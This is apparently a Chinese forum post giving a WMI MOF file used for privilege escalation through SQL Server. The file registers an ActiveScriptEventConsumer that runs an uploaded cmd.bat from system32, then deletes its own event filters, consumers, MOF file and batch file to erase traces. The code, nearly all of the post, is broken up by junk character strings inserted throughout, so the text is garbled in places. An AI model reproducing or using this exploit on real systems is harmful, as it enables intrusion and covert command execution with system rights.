这个sql提权MOF需要运行 system下的文件,不能定义路径。' ]$ I+ Y% x! |& V0 p: _) D$ v* u
需要将要运行的命令写入到bat上传到system32目录,然后执行。
, K, g& @5 y- e) |8 s/ }, ]7 @ A; j8 f& \9 R) A6 t8 A2 L
这个sql提权MOF需要运行 system下的文件,不能定义路径。
+ x7 _. G- G1 I' @需要将要运行的命令写入到bat上传到system32目录,然后执行。
& \1 {6 c9 \! ^' ]) ~6 [+ N4 L3 q. U, ?
#pragma
# q% l% y X7 b( _* _/ |+ l5 k& {% _ namespace("\\\\.\\root\\cimv2")! w) r& i( w% X; C3 X9 B# k
class
7 J1 W1 V5 P+ e7 N MyClass547
3 k. P4 M1 U- X+ E" D { [key]' B1 r7 K$ L2 W0 {& n
string
8 B" _ t9 R" r6 f Name;7 [) p% b8 k J; z
};
9 v7 t, D& `/ c3 @6 r4 n$ q8 V1 { class
% E. [) u* x) }% h) R ActiveScriptEventConsumer
6 \# e/ e, ^( c, i0 y5 g# N : __EventConsumer { [key]3 D9 l6 U% L) S# `& X2 R3 G
string% V5 A' t% i0 m0 P. y& k
Name; [not_null]0 @% b1 x7 ]$ L
string6 L* e6 j! P& s
ScriptingEngine; string7 j- D' ~/ V+ d7 ~2 c- T' j
ScriptFileName; [template]$ e/ o n* y# o& d
string
5 F5 U0 x' _3 L9 ~+ N+ L+ j ScriptText; uint32 KillTimeout;
, Y' R: w3 w0 K& o1 \( L- } }; instance of __Win32Provider as $P {# b) f5 ]4 [* ^7 h8 T
Name) }& V: h: _! l; A }2 h2 O; p
=
) `3 ~1 d, V% H "ActiveScriptEventConsumer"; CLSID =
# U& c ~" n9 j" N4 n3 }* N$ k# |& g2 R "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";! @3 W0 H- |% A( `. u. d. g3 ?' y5 a
PerUserInitialization) G, r3 Y& D" C( q4 U+ H. b. x$ w& ^6 m
= TRUE;2 k1 L5 U7 V T
}; instance of __EventConsumerProviderRegistration { Provider
& b# O. l0 R3 T; e = $P; ConsumerClassNames
3 b5 @" M5 }4 L; ]$ l =" B/ Z) }" F% @
{"ActiveScriptEventConsumer"};
' y; Y/ V2 a6 W };/ l$ w1 R! m8 v* U
Instance of ActiveScriptEventConsumer
: L$ z3 l9 Z7 R as $cons { Name
. x5 E, p8 f4 H1 U =
8 r) {* _4 K0 ]! K; R% S y "ASEC"; ScriptingEngine
$ H8 J4 {7 u5 Q8 `5 I% W6 l =: `8 r2 x# B% o( y) W- ?3 J
"JScript"; ScriptText; u, U- d) c* E+ V" x
=
) T- H. {# k& W% z "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };# o7 y, B7 p# _' c7 Y! [( d
Instance of ActiveScriptEventConsumer
% f2 K" m" P/ o7 R7 X# D9 h) o as $cons2 { Name
8 E: m7 f6 {6 n: H/ _5 G( R4 u =
' r$ q2 m/ ~1 e: Y0 c "qndASEC"; ScriptingEngine7 c- S$ x" V, F- }- `
=
; M5 j7 o5 y7 h/ Q "JScript"; ScriptText
+ ~% _2 L( e6 |/ S =
: Z/ L4 m" P- j' l3 n5 o "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
& p% G5 r0 E2 R' ~ }; instance of __EventFilter as $Filt { Name
( [7 s' P# {7 y' h: E/ }% F0 \ =0 m9 L+ z- P9 h# s6 M
"instfilt"; Query9 z$ x. H. ]+ I$ Q' |$ p) `1 C) V
=; `; a- H6 i2 p) O) J, a
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
8 ?* Y3 G+ p' v U5 v m- X1 @ =) ~9 E* U4 ^" Z' p7 w1 O
"WQL"; }; instance of __EventFilter as $Filt2 { Name
- K$ l' Y" u2 {) | =
9 A3 Z% }, R; Z# k "qndfilt"; Query
$ R: v* m; v6 v' z0 C' H =
2 u7 p+ E3 L/ N0 R$ C! p6 o "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
! A0 |% i4 K5 v! _ =/ H: m/ l4 {# U: D8 L; S+ L
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer6 w1 W- }9 M1 L4 A- j
= $cons; Filter- T5 `+ G! n# Y# u) [
= $Filt;: S* K* v6 F `% e% {
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
0 q& L4 \4 `: C7 d4 f# X, u3 V = $cons2; Filter
8 P" j a% r* r& d' |6 K = $Filt2;
+ p8 ~4 N1 I5 q: }0 h% l. P }; instance of MyClass547
# j6 O- w2 Z& `9 l9 g: Y1 r as $MyClass { Name
8 }# u- T, {$ c1 M0 _ =
1 E5 `# C+ h7 _# C "ClassConsumer";/ T# |2 W( f( ?: c2 n* [$ B
}; |